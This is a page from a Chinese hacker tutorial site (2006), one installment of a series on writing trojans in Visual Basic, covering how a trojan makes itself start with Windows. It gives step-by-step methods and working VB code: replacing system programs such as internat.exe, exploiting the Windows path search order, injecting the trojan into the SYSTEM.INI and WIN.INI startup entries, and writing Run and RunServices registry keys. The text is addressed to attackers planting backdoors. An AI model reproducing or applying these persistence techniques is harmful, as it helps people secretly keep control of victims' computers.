首页 | 业界新闻 | 黑客教程 | 安全漏洞 | 安全文章 | 破解技术 | 技术文摘 | 黑客文化 | 本站原创 | 安全贴吧 | 在线留言 | IP查询 | 软件下载 | 繁体中文 |
您现在的位置: 黑色反击 >> 技术资讯 >> 黑客教程 >> 黑客编程 >> 正文
VB木马也疯狂
时间:2006-3-29 2:23:43 出处:网络技术论坛 作者:小金 编辑:mervin 点击数:


十一、启动模式
要想木马能随时为你服务,就必须让它自己跟随系统启动,除了木马启动禁地——开始菜单的“启动”组不在考虑范围,我们还有几个方法让它自己爬起来。

1.Windows下的启动——替换程序篇
如果你认为躲躲藏藏不如反客为主来得豪气些的话,可以用这招,把Windows自身的一些非重要而又跟随系统启动的程序换掉。
不知道为什么,Windows用于切换输入法的程序internat.exe成为了这种行为的最大受害者,那么我就用它来举例说明一下这种方法的详细操作,替换其他程序的方法也差不多。
(1).木马程序查找并杀掉internat.exe进程;
(2).用Name函数把原来的internat.exe改名,必要时用FileCopy把internat.exe改名复制到另外目录(深层目录比较好);
(3).把自身复制到internat.exe所在的目录,名称为internat.exe;
(4).程序的初始化代码段必须加上一句Shell函数用以启动原来的internat.exe:Shell [被改名的internat.exe],vbNormalNoFocus。

2.目录遍历
Windows在目录遍历时依据从外到里的方式,如果用户未指定一个程序的路径信息,Windows会按照从系统盘根目录到系统目录的顺序寻找文件。例如在开始菜单的运行里输入msconfig,Windows在后台的操作是:
1.定位到系统盘根目录(如C:\),检查文件是否存在
2.如果在根目录没有发现文件,Windows根据环境变量信息进入系统目录查找
3.如果在系统目录里找不到,则进入更深一层的重要目录(SYSTEM目录)查找
4.如果找到文件,则执行它,查找过程结束。如果遍历Windows认得出的所有目录(由注册表的环境变量决定)仍然找不到文件,就返回“找不到文件%s”
这些步骤可以用一个循环来表达:
===================================================
For i=0 To (Environment.count-1)
If FileExists(Environment.Path(i)) Then
Found = 1
Shell(Environment.Path(i) & RunFile,vbNormalFocus)
Exit For
Else
End If
Next
If Found = 0 Then MsgBox "找不到文件" & RunFile
===================================================
其中的Environment.Path(i)可能包含这些路径信息,注意看数组序号和路径的关系:
Environment.Path(0) = "C:"
Environment.Path(1) = "C:\Windows" Or "C:\WINNT"
Environment.Path(2) = "C:\Windows\SYSTEM" Or "C:\WINNT\SYSTEM32"
根据Windows目录遍历的特点,我们可以把木马程序文件名改为某个默认随系统启动而且没有指明详细路径信息的程序,并把自身放在原程序所在的“上一层”目录,例如C:\WINDOWS是C:\WINDOWS\SYSTEM的上一层目录。这样,Windows就会把木马程序启动,而忽略了“深闺处”的原程序,所以我们的木马程序必须在启动时好心替Windows执行一下被忽略的原程序。
目前比较容易被忽略的程序有:inetnat.exe、 SysTray.exe、 taskmon.exe 等。
如果一个默认自启动的程序已经设置了路径信息,是否就意味着我们必须放弃?不一定,别忘了可以修改注册表,把详细路径字符串去掉。详细请看第4小节,把sApplication变量设置为不带任何路径信息的单独文件名即可。

3.Win9x/Me下的启动——INI篇
INI(配置文件)是一种特殊格式的文本文件,它主要用于保存程序的配置信息,这里就不做详细介绍了。WIN.INI和SYSTEM.INI是从Win3.1遗留下来的产物,Win9x/Me仍然比较完整的保留了,而2000/XP则有改动。
INI文件由一个或多个部分(section)组成,每个section下面存在多个关键字(Keyword)和值(Value),它们共同负责配置一个程序的环境,表现形式如下:
===================================================
[section1]
keyword1=valuel
keyword2=value2
...............

[section2]
keyword1=value1
keyword2=value2
...............
===================================================
打开WIN.INI和SYSTEM.INI,会看到最前面的开头部分有这些字符串:
===================================================
SYSTEM.INI:
[boot]
shell=Explorer.exe
system.drv=system.drv
drivers=mmsystem.dll power.drv
user.exe=user.exe

WIN.INI:
[Windows]
load=
NullPort=None
DefaultQueueSize=32
===================================================
注意看[boot]的shell关键字和[windows]的load关键字,这里就是Windows的自启动程序加载的信息,也给木马留了个大门。[boot]的shell用于加载GUI外壳程序,如果这里的值被乱改了,你将看不到下次启动的桌面;[windows]的load在刚显示GUI界面的时候执行程序。所以执行程序优先顺序为:[Windows]load ---> [boot]shell
而这两个关键字允许用户添加多个用空格分开的值,这是个很好利用的要处,为什么这样说呢?如果它们只支持一个值,那么我们就不能打[boot]shell的主意,因为替换掉外壳程序的加载值后,Windows就玩完了,但是,既然它支持多个值,我们就可以让Windows加载外壳的时候顺便也启动我们的后门。
例如,把木马程序MyApp.exe加入shell,正确的表达式必须是 shell=Explorer.exe MyApp.exe 而不是 shell=MyApp.exe
在VB里用下列代码完成一个完整的读写INI操作:
===================================================
'Code by www.s8s8.net LK007
'------------------------------------------------
Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long
Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Function WriteString(IniFileName As String, Section As String, key As String, Value As String) As Boolean
WriteString = False
If WritePrivateProfileString(Section, key, Value, IniFileName) = 0 Then Exit Function
WriteString = True
End Function

Function ReadString(IniFileName As String, Section As String, key As String) As String
Dim ReturnStr As String
Dim ReturnLng As Long
ReturnStr = Space(255)
ReturnLng = GetPrivateProfileString(Section, key, vbNullString, ReturnStr, 255, IniFileName)
ReadString = Trim$(Left$(ReturnStr, ReturnLng))
End Function
===================================================
可以直接用WriteString(WinPath & "system.ini", "boot", "Shell", "Explorer.exe " & App.EXEName & ".exe")和WriteString(WinPath & "win.ini", "windows", "load", App.EXEName & ".exe")来写入SYSTEM.INI和WIN.INI,注意这两个文件均在Windows根目录下。写入SYSTEM.INI时一定要记得别遗漏了原来的外壳程序。WriteString函数返回一个表示写入是否成功的布尔值。
为了更准确的判断程序是否已经添加数据了,我们最好读取刚写入的INI来确认:ReadString(WinPath & "system.ini", "boot", "Shell")和ReadString(WinPath & "win.ini", "Windows", "boot"),返回的字符串里如果带有你的木马程序名,恭喜你,成功了。


4.Windows下的启动——注册表篇
注册表是Windows的重要组成部分,它不仅包含了齐全的软硬件信息、配置数据,也提供了自启动程序的入口,所以这里也是大多数木马喜欢依靠的地方。关于注册表的构成和详细资料,请大家自己另找资料,这里不做介绍。
一般木马主要集中在下列几处:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
全局的启动项,此主键下的值在Shell加载完成(桌面图标显示、任务栏出现)后执行。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
全局的启动项,此主键下的值在GUI初始化完成(Windows桌面刚出现,Shell未加载)时执行。Win2000/XP里没有此主键。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
仅在当前用户登录后,Shell加载完成时执行。

下面给出代码:
===================================================
'自启动
'使用方法:AutoRun([用户类型{0,1}],[启动顺序{0,1}],[键值说明{string}])
'例如:AutoRun(0,0,"Hello")表示在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices写入一个名称为Hello的键值

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkresult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002

Sub AutoRun(iType As Integer,iStart As Integer,sAppName As String)
Dim sKeyName As String
Dim sKeyValue As String
Dim Ret As Long
Dim lphKey As Long
Dim sApplication As String
Dim RegSetKey As Long
Dim hKey As Long
sApplication = Trim$(App.Path) & "\" & Trim$(App.EXEName & ".EXE")
If iStart = 0 Then
sKeyName = "Software\Microsoft\Windows\CurrentVersion\RunServices"
Else
sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run"
End If
'设置自启动项
sKeyValue = sApplication
If iType = 0 Then
Ret = RegCreateKey(HKEY_LOCAL_MACHINE, sKeyName, lphKey)
Else
Ret = RegCreateKey(HKEY_CURRENT_USER, sKeyName, lphKey)
End If
Ret = RegSetValueEx(lphKey, sAppName, 0, 1, ByVal sKeyValue, Len(sKeyValue))
Ret = RegCloseKey(lphKey)
End Sub
===================================================
 

上一页  [1] [2] [3] [4] [5] [6] [7] [8] 下一页

精彩推荐
hack菜鸟入门
VB 从零开始编外挂(完
IPC入侵全接触
QQ跨站漏洞巧利用,强
WinXP中CPU占用100%原
黑客新技术 灰鸽子巧妙
实例讲解 黑客入侵论坛
ADSL共享上网方式大总
BMP文件格式分析
十招教你学会破解
热门软件
网 友 评 论
关于我们 - 联系方式 - 招聘信息 - 合作伙伴 - 网站地图 - 广告服务 - 我要投稿 - 设为首页 - 加入收藏
黑色反击 力倡网络安全,崇尚互联共享,欢迎各种媒体转载我们的原创作品 [转载请注明出处]。
EMAIL:hf110.com@gmail.com 备案:苏ICP备05010002号